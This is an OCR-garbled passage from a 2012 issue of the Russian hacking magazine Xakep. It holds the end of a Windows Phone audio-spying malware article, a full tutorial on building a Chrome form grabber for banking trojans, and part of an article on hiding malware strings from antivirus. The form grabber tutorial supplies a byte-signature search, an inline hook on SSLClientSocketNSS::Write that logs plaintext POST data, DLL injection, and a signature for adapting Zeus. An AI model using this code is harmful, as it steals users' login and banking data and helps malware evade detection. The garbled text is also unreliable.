были бы уничтожены.

Функция SaveFilei] (см. листинг], вызываемая для сохранения фай­ла, просто создает файл в изолированном хранилище и записывает

в него весь поток с начала и до конца.

private void SaveFile() { //сохранить файл

В любой промежуток времени может выполняться

одно приложение, и это очень важно- факт в том,

что это приложение lтеоретически) не сможет

в фоне отправить эсэмэску на платный номер или

совершить другие злодеяния. Этотход позволяет

достигать наилучшей производительности, и

на другое, первое переводится в спящий режим

ldoгmaпt), но его текущее состояние сохраняется,

чтобы при последующем запуске приложение

возобновило работу. Процесс захоронения

приложений (active -> doгmaпt) получил название

tombstoniпg. Если работающему приложению

в течение жизненного цикла приложения с ним

происходит от двух до четырех событий: событие

Lauпchiпg в момент запуска, Closiпg в момент

закрытия, Deactivating при деактивации (при захоронении) и Activating при восстановлении из tombstone. Все эти события, в которых обычно производится сохранение и восстановление

состояния приложений, можно обрабатывать .

не тратить заряд батареи на фоновые задачи. Когда

пользователь переключается с одного приложения

ХАКЕР 03/158/ 2012

не хватает ресурсов, то ОС завершает (teгmiпate)

спящие приложения в порядке их запуска. В общем,

085

Page 88: Xakep 03_2012

MALWARE

using (IsolatedStorageFile isoStorage = IsolatedStorageFile .GetUserStoreForApplication()) {

using (IsolatedStorageFileStream isoStream ~ isoStorage.CreateFile(FileName)) {

isoStream .Write(stream . ToArray(), е,

stream.ToArray().Length);

Однако если сохранить поток в таком виде, в каком он сейчас есть,

то его не откроет ни одна программа для воспроизведения . Чтобы

привести сырой поток данных к понятному в иду, необходимо добавить

заголовок . Таким образом, у нас получится wаv-файл. Если нужно

получить файл другого типа, то над потоком данны х нужно дополни­

тельно поизвращаться :1. Но и чтобы получить простой wаv-фа йл, нам необходимо знать формат полей заголовка. В своем благе швейцар­

ский программист Дамиан l goo.gl/ufeЗyl предлагает замечательное решение, которое заключается в добавлении двух функций ! их код есть на странице) . Не вижу смысла им не воспользоваться!

Функцию WriteWavHeader, которая создает начальные данные для заголовка, надо вызвать в начале записи lв нашем случае- в функ­

ции SetupMicrophonel, а функцию UpdateWavHeader, обновляющую заголовочные данные, которые зависят от размера записываемого

потока,- в конце записи, перед сбросом данных в файл !то есть в функции microphone_BuffeгReady, после окончания записи, но перед

вызовом SaveFilel. В результате в изолированном хранилище будет сохранен полноценный wаv-файл. Последнее действие, выполняемое

в обработчике события microphone_BufferReady !кроме обнуления переменной recordingStoppedl,- это вызов функции PlayFile для

воспроизведения звука из сохраненного файла. Вот как выглядит эта

функция:

private void PlayFile() . {. //воспроизвести сохраненный файл using (var isf =

IsolatedStorageFile.GetUserStoreForApplication()) if (isf.FileExists(FileName)) {

}

. using (var isoStream = isf.OpenFile(FileName, FileMode.Open, FileAccess.Read)) {

mediaSound.Stop(); mediaSound.SetSource(isoStream); mediaSound.Position=System.TimeSpan.FromSeconds(e);

mediaSound.Volume = 20; mediaSound.Play();

ВЫПОЛНЕНИЕ ПРИЛОЖЕНИЙ

Разработка малвари Overhear

При использовании объекта изолированного хранилища он откры­

вается для чтения только после проверки того, существует ли вообще

файл указанного имени. Звук из открытого файла воспроизводится

с помощью объекта mediaSound. Воспроизведение начинается после привязки файлового потока к данному объекту и установки позиции,

с которой надо начать проигрывание, и громкости звучания.

Кроме того, можно воспроизводить поток аудиоданных прямо

из памяти. Для этого достаточно создать объект звукового эффекта

со следующими параметрами: звуковой поток в памяти, преобразован­

ный в массив байтов, частота звука !есть предопределенные значения) и количество каналов звуковых данных !м оно или стереоl. Затем не­обходимо вызвать метод Play данного объекта:

sound = new SoundEffect(stream.ToArray(), microphone.SampleRate, AudioChannels.Mono);

sound. Play();

Вот и все возможности нашей мал вари! Тем не менее, имеются пла­

ны по ее развитию : к примеру, поскольку из ОС Windows Phone нельзя отправлять письма с вложениями, придется заливать файлы на какой­

нибудь сервер. Но этим мы займемся в будущем!

ЗАКЛЮЧЕНИЕ В статье мы провели обзор системы безопасности Windows Phone 7.5, рассмотрели возможные хаки и разработали собственную малварь.

WP- широко известная система, и в будущем она будеттолько набирать аудиторию. Так как система имеет мощные средства для обе­

спечения безопасности, а приложения в ней устанавливаются только

из Marketplace Hub !где подлежат обязательной модерации), у малвари практически нет возможности nоnасть на телефон. В то же время раз­

витие малвари не стоит на месте, nоэтому будем пристально следить

за дальнейшими событиями , а может быть, и при м ем в них участиеl :Х:

WP 7 предоставляетвыполняемому приложе­нию изолированное пространство- камеру.

Приложение, находящееся в этой камере,

не имеет доступа к данным других приложе­

ний. При этом существует четыре типа камер:

1. The Trusted Computing Base (ТСВ)- база

доверенного выполнения . На этом уровне

выполненияприложениеснаивысшими

привилегиями имеет доступ ко всем ресур­

сам смартфона, включая фото- и видео­

камеру, акселерометр и другие датчики.

и драйверы уровня ядра, следовательно,

разработчики nрикладны х программ долж­

ны избегать использования этого режима ,

особенно если они хотят разместить свое

приложениена Windows Phone Marketplace, поскольку выполняющееся на этом уровне

приложениенепройдетпроверк~

выполняются драйвера пользовательского

уровня .

3. The Standard Rights Chamber (SRC)­

дефолтный режим выполнения предуста­

новленных программ , таких как MS Office MoЬile, lnteгпet Explorer 9 и т. д .

4. The Least Privileged Chamber (LPC)- уро­вень наименьших привилегий, дефолт­

ный режим выполнения приложений

В этом режиме выполняется ядро системы

086

2. The Elevated Rights Chamber (ERC)- каме­

ра повышенных прав . Здесь приложения

имеют доступ ко всем ресурсам, кроме

стратегий безопасности, то есть к данным ,

устройствам и датчикам. В этом режиме

не от Microsoft. В этой камере приложению предоставляются только те ресурсы, кото­

рыезапрашиваются при инсталляции.

ХАКЕР 03 / 158/ 201 2

Page 89: Xakep 03_2012

Preview КОДИНГ

ФОРМГРАББЕРДЛЯGООGLЕСНRОМЕ

088 Перехватформ-это наиболее востре­

бованнаятехнологиявтрояна~таккак

именно с ее nомощью осуществляется

к ражабольшейчасти личныхданных

nользователей. Формграббером для

lnteгnet Ехрlогег и Mozilla Fiгefox уже никого не удивишь-такие решения

стары и общеизвестны. А вот граббинг

для Google Сhгоmе-это своего рода эксклюзив, с которым ты сможешь разо­

браться, nрочитав эту статью. Дело-то,

как оказывается, нехитрое-нужно

лишь найти функцию, которая в качестве

одного из nараметров nринимаетданные

формы внезашифрованном виде и nо­

ставить на нее хук.

КОДИНГ

И ЦЕЛОГО СИ МАЛО

Приразработкехакерскихутилитчасто

встречаются задачи, которые нереально

решитьсиламиобычногоnреnроцессора

Си. В такой ситуации выручит Python!

SYN\ACK

11 В ПОИСКЕИНСАЙДЕРА Выявить и nредотвратить утечку кон­

фиденциальнойинформациисnособы

DLР- системы. Мы решили nрове сти не­

большой тест-драйвтаких решений.

ХАКЕР 03/158/201 2

J

UNIXOID

11

J)) ФЕДОРИНОСЧАСТЬЕ

Последние версии дистрибутива Fedoгa

выделяются несколькими интересными и

дажеинновационными изменениями. Но

насколько они хороши?

ИСПЫТАНИЕ НАГРУЗКОЙ Какие инструменты и nодходы могут

nомочь Djаngо-nриложению выдержать

баснословные нагрузки? Ответ на во­

nрос- в этом материале.

11 ДОСТУЧАТЬСЯ ДО НЕБЕС

Расширияемграницысоnрикоснове н ия

в е ба и обычного Linux-дecктo n a,

объеди н яя nривычную систем у и

облач н ые сервисы.

FERRUM

• ОТ«ВИНТА>>!

Го няем шесть вне ш нихжесткихдисков

в разных бенчмарках . П ора опреде­

лить, кто из них может похвастаться

максимальным быстродействием.

087

Page 90: Xakep 03_2012

КОДИНГ Сергей Сергеев [seseгegalagmail.гu, Ыotloгe.Ыogspot.coml

р

для Google Chrome ИССЛЕДУЕМ ОТПРАВКУ ЗАШИФРОВАННЫХ ФОРМ И СПОСОБ ИХ ПЕРЕХВАТА В БРАУЗЕРЕ OTGOOGLE

Перехват форм- это наиболее востребованная

технология в банковских троянах, так как именно с ее

помощью осуществляется кража большей части личных

данных пользователей. Формграббером для lnteгnet

Ехрlогег и Mozilla Fiгefox уже никого не удивишь- такие

решения стары и общеизвестны . А вот граббинг для

Google Chгome- это пока эксклюзив, с которым мы

сегодня и разберемся .

088

• qoo.qi/Cj4PI ­nлaгин OllyDbg для создания сигнатур

и масок .

• аоо .аl/гdдlо-то же самое, только

АЛЯ IDд.

• qoo.gl/ulqMb -интересная

ветка на форуме, nосвящённая

перехвату форм в Chгome . • qoo.ql/sZWwZ-о прологе и эnилоге .

Для генерации

прологов и эпилогов

я использовал

функцию без модификатора _ declspec( naked), рассматривал её в дизассемблере и копировал начало

и конец.

Page 91: Xakep 03_2012

~~----- -~~~~~~~-----

~~

Рис. 1. Сигнатурный nоиск в OllyDbg

и чего сложного в перехвате нет, нужно лишь найти функ­

Н цию, которая в качестве одного из параметров принимает данные формы внеза ш ифрованном виде и поставить

на нее хук. В IE такая функция, HttpSendRequest, экспортируется библиотекой wininet .dll, в Fiгefox это функция PR_Wгite из библи­отеки пspг4.dll, а как я искал аналогичную функцию для Хрома,

сейчас расскажу.

ИССЛЕДОВАНИЕ С перехватом незашифрованных форм в Google Chгome нет ника­ких проблем, достаточно поставить хук на стандартную экспорти­

руемую функцию WSASeпd. Сделать это довольно легко, и ма­

териала в интернете на эту тему предостаточно. П оэтому лучше

сосредоточиться на поиске функции, которая принимает данные

форм в SS L-соеди н ении еще до шиф рова н ия .

Мои п оп ы тки найти подобную функцию с помощью OllyDbg закончились неудачей, поэтому я начал рыть в Google и сразу наткнулся на страницу с полным исходным кодом браузера

lgoo.gi/8SgW2, ведь Chгome - опенсорсный проект). Висходниках можно покопаться , указав в соответствующем

поле формы поиска, что искать мы хотим в файлах С++ . П ервый

запрос, который пришел м н е в голову,- это «ssl socket>>. В процессе поиска по этому запросу я сразу наткнулся на файл

ssl_socket .h lgoo.gl/6cw0wl, но ничего интересного в нём не на­шел, зато в левой части экрана увидел дерево файлов с вкусными

названиями. Меня интересовало всё , что имело в названии ssl · и socket, а в особенности файлы ssl_clieпt_socket_nss . cc, ssl_

client_socket_openssl.cc и ssl_clieпt_socket_wiп.cc. Я знал, что в Fiгefox перехватывается функция PR_Wгite, и решил поискать

и ее. В результате на первой же из появившихся двух страниц

оказался файл ssl_client_socket_nss.cc. Саму функцию я в нем так и не нашёл, однако теперь знал, откуда она вызывается.

Просмотрев листинг, я наткнулся на функцию

SSLCiientSocketWin::Wгite, чем-то напоминающую PR_Wгite. В дру­

гих файл ах, п еречисленных выше, на шлись аналогичные функции:

SSLCiientSocketOpenSSL: :Wгite и SSLCiieпtSocketWin::Wгite. Следо­

вало их проверить.

Для этого требовался отладчик и адреса функций. Я восполь­

зовался официальной инструкцией по настройке и отладке Google Chгome, которая лежит по адресу goo.gl/fwt1S .

Если вкратце, то для отладки Хрома нужно сделать следую­

щее:

1. Запустить WinDBG. 2. Открыть меню File -7 Symbol File Path. 3. Вставить в появившееся окошко следующую строку:

ХАКЕР 03/158/201 2

Формграббер для Google Chrome

Ри с. 2. Поис к SSL-зa n poca

SRV*c:\code\symbols*http://msdl .microsoft.com/download/ symbols;SRV*c:\code\symbols*http://chromium- browser­symsrv.commondatastorage.googleapis.com

Здесь c:\code\symbols- папка, куда складываются закачанные отладочные символы.

4. Открыть несколько окон из меню View. Рекомендую открыть окна Commaпd, Registeгs и DisassemЬiy.

5. Запустить Chгome.

6. Открыть меню File-7 Attach to а Pгocess ... 7. Выбрать любой chгome.exe и нажать ОК.

С помощью команды <<х chгome*!*SSLCiientSocketNSS: :Wгite>>

!которую надо вводить в окне Commaпdl я нашёл функцию SSLC i ientSocke t NSS::Wгite, а потом и SS LCiientSocketWin::Wгite. П о­

ставил на них брейки lbгeakpointsl и зашёл в свой Gmаil-аккаунт. Программа прерывалась только на функции SSLCiientSocketNSS

::Wгite.

Оnисание функции, найденной в и сходном коде

int SSLClientSocketNSS: :Write( IOBuffer* buf, int buf_len, const CompletionCallback& cal l back

Оставалось только выяснить, каким образом этой функции

передается буфер с РОSТ-запросом. Л огично предположить, что

в переменной с типом IOBuffeг:

class NET_EXPORT IOBuffer : puЫic base: :RefCountedThreadSafe<IOBuffer>

puЫic :

IOBuffer(); explicit IOBuffer( int buffer_size); char* data() { return data_; }

protected :

} ;

friend class base: :RefCountedThreadSafe<IOBuffer>; explicit IOBuffer( char * data); virtual -IOBuffer(); char * data_;

Так как структура сложная и непонятно, какое в действительно-

089

Page 92: Xakep 03_2012

КОДИНГ

Рис. 3. SSL-зanpoc найден

сти смещение у данных, мне пришлось искать указатель на массив

символов вручную. Для этого я в уже привычном OllyDbg поставил брейк на функцию SSLCiientSocketNSS: : Wгite lсм. рис 11, при оста­новке взял первый параметр из стека и начал перебирать в нём

каждый DWORD iсм. рис 21. Выяснил ось, что третий DWORD !то есть 10Buffeг+81 представ­

ляет собой указатель на массив символов ichaг*l, содержащий

НТТРS-запрос iсм. рис 31. Далее в процессе отладки я обнаружил, что заголовок POST­

зanpoca и его данные передаются функции друг за другом, в от­

дельных вызовах. Это легко nонять, если установить условный

брейк на функцию SSLCiientSocketNSS::Wгite lсм. рис 41. Сначала вызывается функция и в буфере находится строка «POST ... >>,а сле­дующий вызов уже содержит данные формы. Мы это обязательно

учтем.

ПОИСК АДРЕСА Теперь можно приступать к разработке, то есть к написанию

модуля , который будет перехватывать найденную ранее функцию.

Тут следует задуматься, как найти ее адрес программно, ведь

она не экспортируется, а значит, обычным GetPгocAddгess здесь

не обойтись .

В процессе Хрома есть два РЕ-модуля, которые потен­

циально могут содержать нашу функцию,- это chгome.exe

и chгome.dll. Отладчик нам любезно сообщает, что адрес

SSLCiieпtSocketNSS::Wгite как раз лежит в пределах dll . Что говорить, в ней вообще находится большая часть кода браузера.

090

EIP 0287SR4C chroNe_1.0287SR4C С 0 ES ае23 32Ьi t et FFFFFFFF! Р 0 CS eet В 32Ьi t et FFFFFFFF! ~ 0 SS е023 32Ьi t 0( FFFFFFFF! 2 0 OS 0023 32Ь 1t е 1 FFFFFFFF 1 S е FS е03В Э2Ьi t 7FF~F000( FFF! Т е GS ее0е NULL о е о е

ST0 емрtу ST1 et<~Ot~ ST2 емрtу SТЗ er>IPtY ST4 er'loty STS емоtу ST6 емрtу ST7 емрtу

Здесь-то мы и будем программно искать адрес нашей неэкспорти­

руемой функции.

Оптимальным способом для этого в данном случае я считаю

сигнатурный поиск . Сигнатурой функции !последовательностью байтов, по которой будет осуществляться поиск! выступят первые 14 байт функции, они уникальны для модуля chгome.dll и однознач­но указывают на нашу цель.

дизас1-1 начаJJЫ!РЙ .част.и nерехватt,~ваемой функции

chrome_lcзeeee! net: : SSLClientSoc.ketNSS: : Wri te: 02875а4с 55 push еЬр

02875a4d ВЬ.ес mov еЬр, esp 02875a4f 51 push есх.

02875а50 53 push еЬх

02875а51 56 push esi 02875а52 57 push edi 02875а5) . ff7508 push dword ptr [ еЬр+8 ]

02875а56 Bbfl mov esi.ecx 02875а58 ЗЗdЬ xor еЬх,еЬх

Скопируем первые байты функции и преобразуем их в массив

байтов IBYTE*I, который функция поиска сигнатуры принимает в качестве параметра вместе с маской сигнатуры, хзндлом и раз­

мером модуля. Маска служит для вычленения релятивных и абсо­

лютных адресов в сигнатуре, потому как они могут меняться при

каждом запуске. Байты адресов помечаются знаком«?,,, осталь­

ные байты- знаком <<Х>>.

ХАКЕР 03 / 158/ 201 2

Page 93: Xakep 03_2012

Рис . 4. Условный брейк на SSLCiientSocketNSS::Write

Вызов функции пои ска осуществляется следующим образом:

char * Sign = "\x55\xBB\xEC\x51\x53\x56\x57\xFF\x75\xeв \xBB\xFl\xЗЗ\xDB" ; // Сигнатура SSLClientSocketNSS :: Write

char * Mask="xxxxxxxxxxxxxx" ; // маска DWORD SSLAdr = FindPattern(ChromeDLL,

Chrome32Size, (BYTE*)Sign, Mask); /1 SSLAdr - адрес SSLClientSocketNSS: :Write

Сама функция выглядит так:

bool DataCompare( const ВУТЕ * pData,

const ВУТЕ * bMask, const char * szMask

for ( ; * szMask; ++szMask, ++pData, ++bMask

{ if ( * szMask == 'х' && * pData != * bMas k )

return false ;

return ( *s zMask ) == NULL;

DWORD FindPattern _( DWORD dwAddress,

DWORD dwSize, ВУТЕ * pbMask, char * szMask

for ( DWORD i = NULL; i < dwSize; i++ )

{

АЛЬТЕРНАТИВНЫЕ ПУТИ ПЕРЕХВАТА

Существуют и другие пути достижения нашей цели. Например,

один из участников форума openws под ником akademikeг nредложил лерехватывать функцию PR_Wгite ly него получилось-таки ее найти],

что nозволяет без особых усилий адаптировать nод Chгome исходники

Zeus !само собой, в исследовательских целях].

Сигнатура для nоиска PR_Write /1 сигнатура char * Sigп = "\хВЬ\х4с\х24\хе4\х57\хеВ\хее\хее\хее\хее\хВЬ

\xf8\x85\xff\x75\xeS\x83\xc8\xff\x5f\xc3\x53\x56\x8b\xЫ

\хЗВ\хе2\хее\хее" ;

11 маска char * Mask= " xxxxxx????xxxxxxxxxxxxxxxxxxx " ;

ХАКЕР 03/158/2012

Формграббер для Google Chгome

if (DataCompare((BYTE *)(dwAddress+ i),pbMask,szMask))

return (DWORD)( dwAddress + i );

return е ;

Кто-то может сказать, что этот метод is f*cking unstaЫe. Однако прошло полгода, вер сия Хрома н еодн ократно менялась, а сигнат у­

ра всё ещё ра ботает.

ПЕРЕХВАТ ОК, мы нашли адре с функции, теnерь её нужно nерехватить. Для

этого nодойдёт банальный сnлайсинг. Для те х, кто в танке, сnлай­

си н г- это метод nерехвата функции, основанный на модификации

ее кода. Самый nростой вариант реализовать с nл айси нг- за­

менить, предварительно сохранив, nервые 5 байт nерехватывае­мой функции на «JMP твоя_функция » . Для вызова оригина льн ой

функции в этом сл учае нужно в осстано вить эти 5 байт из буфера ,

а после вызова снова изменить на JM P. У этого метода есть суще ­

ственный недостаток. Дело в том, что если после восстановления

начальной части оригинальной функции контекст переключится

на другой поток, то он сможет вызвать функцию, минуя наш хук.

Есть и другой способ сплайсинга - с так называемым «трам­

пл ином>>. Как и в предыдущем способе, в нем в начало функции также встраивается JMP на хук, но на этом сходство заканчива­

ется . Для вызова оригинальной функ ции при таком сплайсинге её

начальная часть не восста навливается . Этот способ не обладает

указанным недостатком.

При установке перех вата просто создается буферс правами PAGE_EX ECUTE [устанавли ваются с помощью ViгtuaiPгotect],

в который копи руются первые 5 [размер джампа] или более байт из начала функции . Размер джампа может превышать 5 байт, та к как нам нужно скопировать аsm - инструкции целиком, чтобы они

смогли выполняться в другом месте. Чтобы о пр еделить , сколько

в точности байтов копировать и где граница очередной инструк­

ции, в нормальных сплайсинг-движках обычно используется

дизассембл е р длины .

Так вот, в конец буфера со скопированными инструкциями до­

писывается JMP, ведущий на [адрес функции+ сумма дл ин первых инструкций]. Таким образом, для вызова о риги н альной функции

достаточно выполнить «JMP адрес_буфера>> .

Несмотря на то что второй способ значительно стабильнее,

в процессе исследований я реализовал первый способ, та к как он

проще [код смотри н а диске] . Функция-перехватчик, записывающая формы в файл, для него

выглядит так :

От себя могу добавить, что можно подменять PR_Wгite в таблице

методов, поскольку адрес этой функции берется из таблицы comblпed_

methods, что не отражается в исходниках, зато отчётливо проявляется

в WiпDBG при трассировке функции SSLCiieпtSocketNSS :: DoPayload

Wгite lсм. рис 5] . При использовании этого слоеоба исполняемый код не модифицируется, что позволяет обмануть некоторые механизмы

детектирования перехватов . Чтобы его реализовать, нужно получить

адрес таблицы comblпed_methods и заменить в нем адрес PR_Wгite

по смещению OCh на адрес своей функции . SpyEye использует друго й метод перехвата , отличающийся от всех предыдущих . Он

перехватывает TгanslateMessage , nозволяя следить за тем, что вводит

пользователь с клавиатуры , а также функцию ZwReadFile, которая выдаёт адреса посещаемых сайтов и запросы к ним !подробнее читай

на goo .gl/xTX9j] . В общем , есть из чего выбрать .

091

Page 94: Xakep 03_2012

КОДИНГ

leave ret

:SSLClientSocketNSS: :DoPayloadWrite :

mov ebp , esp sub esp,OCh and dword ptr [ebp-OCh],O push es1 push edi mov edi,ea:к mov ea:к,dword ptr mov ed:к , dword ptr mov ec:к , dword ptr mov еа:к dword tr

push ее :к

push е а :к

call dword

Рис . 5. Comblned_methods в SSLCiientSocketNSS::DoPayloadWrite

__ declspec ( naked ) int Hooked_SSLWrite( DWORD buf, int buf_len, void* callback)

static bool IsPostData;

__ asm

push еЬр;

mov ebp,esp; push еЬх;

push esi; push edi; push ecx; //argument

/ 1 Восстанавливаем начальную часть /1 ори гинальной функции ChromeHook.UnsetSplicing();

edi+ODOh] edi+OD4h] еа:к+В] edi+l.A.Ch

TrueSSLWrite = (SSLWrite)ChromeHook .GetHookedFunc();

092

11 Вызов оригинальной функции _asm {

рор ecx; //argument mov eax,callback; push еах; mov eax,buf_len; push еах; mov eax,buf; push еах;

call TrueSSLWrite; push еах;

11 Возвращаем сnлайсинг ChromeHook.ReSplice();

if ((strncmp((LPCSTR)*( char**)(buf+8), "POST" ,lstrlen( "POST" ))==8))

I

Writelog(LogFile,*( char**)(buf+B)); IsPostData=true ;

else if ((strncmp(( LPCSTR)*( char**)(buf+S), "GET" , l strlen( "GET" ))==B) 11 IsPostData)

Writelog( LogFile,*( char**)(buf+8)); IsPostData=false ;

__ asm

рор еах;

рор edi; рор esi; рор еЬх;

leave ; ret ech ;

Модификатор __ declspec[naked] в данном случае исnользу­ется nотому, что один из nараметров передается не через стек,

а через регистр есх. Это значит, что нам следует сохранить его,

прежде чем он изменится, и восстановить до вызова оригиналь­

ной функции.

Ничего удивительного в подобной nередаче параметров

нет- это так называемый thiscall, исnользуемый для вызова методов класса [ведь наша функция представляет собой метод Wгite класса SSLCiientSocketNSS]. Через регистр есх таким образом nередается адрес объекта, для которо г о вызывается

метод.

ЗАКЛЮЧЕНИЕ Остается только внедрить код-перехватчик в процесс браузера

[я исnользовал классическое DLL-инжектирование] - и готово!

Однако у Google Chгome много процессов, а перехватывать функ­ции нужно строго в оnределенном, имеющем визуальную форму

с названием активной вкладки. В других nроцессах функция

просто не будет исnользоваться . В принциnе, чтобы не замо­

рачиваться с nоиском нужного nроцесса Хрома, можно nросто

внедрить модуль во все nроце ссы. Хуже от этого не будет. :Х:

ХАКЕР 03 /158/ 2012

Page 95: Xakep 03_2012
Page 96: Xakep 03_2012

. кодинг

И целого

РАСШИРЯЕМ возможности ПРЕПРОЦЕССОРА С/С++ С ПОМОЩЬЮ СТОРОННЕГО КОДОГЕНЕРАТОРА

При разработке хакерских программ

и утилит [особенно вирусного толка] часто встречаются задачи, которые нереально

решить силами обычного препроцессора Си .

Это задачи, требующие вычислений, пусть

и тривиальных, но еще ДО компиляции.

Сегодня мы обсудим один более или менее

универсальный способ решения подобных

задач ,с помощью Питона.

1:.""-llloo""'"'._~ l- "" w.--1 O Q Ol!iiiOfJ Q ... .. ~ g !q, о!3 f'!f: !1

~~ а Е) "' t• о- t~- •·-1!--. ill """-1

.... . .....uct . ...... , ....... _... , ... _ • •

--

·~~.=="'"'--·--·-···· -·· ··· J _...,,"1_.. ..... , ..... , .......................... ._,0"'""'-'"'"'''"""'""'''-, . ,fl_ll/'/o 11111_6...,.1t"a\\<ooi,..., ' JIII ~1 "10oll\a.0<'\ .. 1>\ .. U\~ .... \I/o lt\0.U\0.4r,081»\ .. I'I\Cio/d' l 1•111-111"1·

-·· # !11_ ... _, ............... ,."11 nn•-11· • Ь.!>, о.оо, оо. ... ..,.., , о.ос, оо70, .,. .. , .. .,, О.>О, .. ><. О.1'1, ОО.И, o.or, hи , o.or,

~.::~i:;~· -·

·-~--~·-... ., -.,1~ .... - Jf] o..J ro;;;--•a ,.....а...,. •~·-

Процесс смешанной разработки

094

Сайт проекта Cog на сервера автора:

пedbatchelder.com/ code/cog.

Чтобы не копировать в каждый файл

твоего проекта

функции, описываемые

в первом

внедряемом

фрагменте , можно

засунуть их в свой руthоп-модуль

и использовать его

вместо модуля cog .

Peter and the Wolf (peterandthewolffareal.xakep.ru l ·

~

Одной из таких задач является банальное скрытие текстовых

строк в коде программы. Скрывать их действительно нужно

-они однозначно помогают аверам и исследователям,

которым только дай поизмываться над очередн ы м вирусным чудом.

Другое дело- как? Н у, шифровать, но как сделать это удобно? П ред­

ставь, есть у тебя программа с вот таким вот вызовом [утрирую] :

URLDownloadToFile(NULL, "http: //malwareserver.com/ test .exe" , "C: \\test.exe" , е , NULL);

Обе стр оки, передаваемые в параметрах к функции

URLDownloadToFi le, при сборке программы прекрасно поместятся в сек ци ю .гdata или .data в открытом виде. Хоть hех-редактором от­

крывай. В от кодеры и извращаются, пишут отдельн ую пр ограмму,

шифрующую стр оки, а потом п одставляют з нач ения с функцией ­

декриптаром как-нибудь так:

URLDownloadToFile( NULL, Decrypt( " \xeE \x12 \x12 \xlб\x5C . . . "), Decrypt( "\x 25 \x5C \x3A\x12\xe3 .•. "), е ,

NULL);

Всё бы ничего, только вручную шифровать и вставлять каждую

строчку - это геморрой . Было бы в милли о н раз приятнее нап и ­

сать какой-нибудь макрос, который прямо тут же, прозрачно для

тебя, шифровал бы строку. Однако препроцессор Си в со време н ных

ком п иляторах поддерживает очень о граниченный набор директив,

с помощью которого строку целиком не зашифровать, как ни пытай­

ся. Чтобы не шифровать строки руками [а также автоматизировать другие подобные процессы], надо придумать какой-то костыль.

КОДОГЕНЕРАТОР НА РУТНОN Несмотря на то, что хакеры всегда и везде любят изобретать вело­

сипед, в этой статье мы этого делать не будем, а воспользуемся го­

товым и уже заточе нн ым п од наши цели продуктом-костылем под

названием Cog [ http :Upypi . python . o гg /pyp i/cogapp]. Автор на зывает е г о инструментом для кодогенерации, п озволяющим испол ьзовать

небольшие фрагменты программ на П итоне в качестве генераторов

в исходниках. В общем, так и есть, Cog'a можно натравить на твой сорец, и он н айдет в нем отмеченный специальными метками код

на Питоне, выполнит е го и в ставит результат обратно в исходный

код . К п римеру, скормим Cog'y в от такой файл и к :

/1 Это обычный файл С++

/* [[ [cog

ХАКЕР 03 /15В/ 2012

Page 97: Xakep 03_2012

import cog fnames = [ 'DoSomething' , 'DoAnotherThing' , 'DolastThing' ] for fn in fnames: cog.outl( "void %s();" % fn) ]]] */ 1 J [ [ [ end ] ] ]

В результате файл будет модифицирован вот так :

/1 Это обычный файл С++

/ * [[[cog import cog fnames = [ 'DoSomething' , 'DoAnotherThing' , 'DolastThing' ] for fn in fnames: cog.outl( "void %s();" % fn) ] ] ]*/ void DoSomething(); void DoAnotherThing(); void DolastThing(); // [ [ [ end] ] ]

Между метками [[[cog и ]]] располагается код на Питоне, генерирующий код на Си, который будет вставлен в строки между

метками ]]] и [[[end]]] . Если Cog запустить заново, то он сначала удалит старый сгенерированный код на Си, а потом снова выполнит

код генератора и запишет новый результат в файл.

Как ты, наверное, заметил, помимо специальных маркеров код

на Питоне еще выносится в комментарий. Это нужно для того , что­

бы компилятор Си не пытался скомпилировать еще и код на Питоне

-у него не получится.

Для вывода результата кодагенерации используются функции

out и оutllаналогичен out, только добавляет перевод строки в ко­нец) модуля cog.

Если в исходном коде есть несколько фрагментов на Питоне,

они будут выполняться как один руthоп - скрипт. Следовательно,

необязательно везде делать импорт модуля и тому подобное.

ШИФРОВАНИЕ СТРОК Давай теперь попробуем написать скрипт для скрытия текстовых

строк из кода программы. В начале нашего исходника на Си за­

грузим модуль Cog и определим функцию шифрования- пусть это

будет обычный хог:

/* [ [ [cog import cog

key = ехбб

. def Encrypt(str): cog.out( 'Decrypt( "' ) cog.out( "" .join([ '\\ 0 + ( " ех%е2Х " % (ord(char) л key))

for char in str])) cog.out( о") о )

] ] ] [[[end] ]] */

Теперь можем заменить строкавые параметры

URLDownloadToFi le на вызовы Encrypt:

URLDownloadToFile( NULL, // [[[cog Encrypt( "http://malwareserver.com/test.exe" ) ]]] /* [[[end]] ] */ , / / [[[cog Encrypt( "C:\\test .exe" ) ]]] / * [[[end]]] * / , е ,

NULL);

ХАКЕР 03/158/2012

И целого Си мало

Выполнив коман ду python.exe cog.py -r test.cpp, где test. срр- это н аш файл, мы п ол учим исходный код с уже зашифрован­

ными строками!

URLDownloadToFile( NULL, //[[[cog Encrypt( "http://malwareserver.com/test.exe" ) ]]J Decrypt( "\exeE\exl2\exl2\ex16\0x5C ••. " ) /* [[ [ end] ]] */ , // [ [[ cog Encrypt( "C:\\test.exe" ) ] ] ] Decrypt ( "\0x25\0x5C\0x3A\0x12\0x03 •.• " ) 1* [ [ [end]] ] */ , е ,

NULL);

Чтобы не запускать кода генератор вручную, можно в Visual Studio добавить его в список команд , вызыва емых перед компи­

ляцией твоего проекта. Те перь если ты захочешь изменить зна­

чение шифруемой строки, достаточно просто п оме нять параметр

Encгypt в соg-скрипте, вручную вставлять ничего не пр и дется.

Пр и использовании такого мощного ин струме нта как П итон, воз­

можностей для кодагенерации от крывается уйм а . Наприм е р , Cog может раз и навсегда заменить утомительное использование

biп2h для внедрения бинарных файло в в исходный код пр о грам­

мы. Для этого достаточно реа ли зоват ь функцию biп2h и в ста вить

ее, как и в примере выше, в п ервый фрагмент кода на Питоне :

def bin2h(filename, valuename): data = open(filename, 'rb' ).read() cog.outl ( 0 BYТE %s[] {о % valuename) for byte in data :

cog.out( оех%е2Х, cog.outl( '}' )

% ord(byte))

cog.outl( 'DWORD %s_size = %d;o % (valuename, len(data)))

Теперь, когда мы захотим засунуть бинарник в наш сорец !это пригодилось бы в статье про разработку РЕ- у паковщика) , то на­

пишем так:

/ /[ [[cog bin2h( "test.bin" , "test" ) ]]] /* [[[end])] */

Что преобразуется в нечто вроде этого:

// [[[cog bin2h( "test.biп" , "test" ) ] ] ] ВУТЕ test[) = {

ех2з , ехб9 , ехбЕ , ехбЗ , ехбС ... 11 длинный буфер

DWORD test_size = 7079 ; / * [[[end])] */ ,

В функцию bin2h можно добавить функцию шифрования или сжатия- по вкусу.

ЭТО НЕ КОНЕ Кодер, занимающийся вирусами, может придумать миллион очень

милых применений стороннему кодоге н ератор у. Это может быть

рандомизация тех или иных вызовов, разбавление кода высоко­

уровневым мусором, подсчет хеш ей име н функций для соответ­

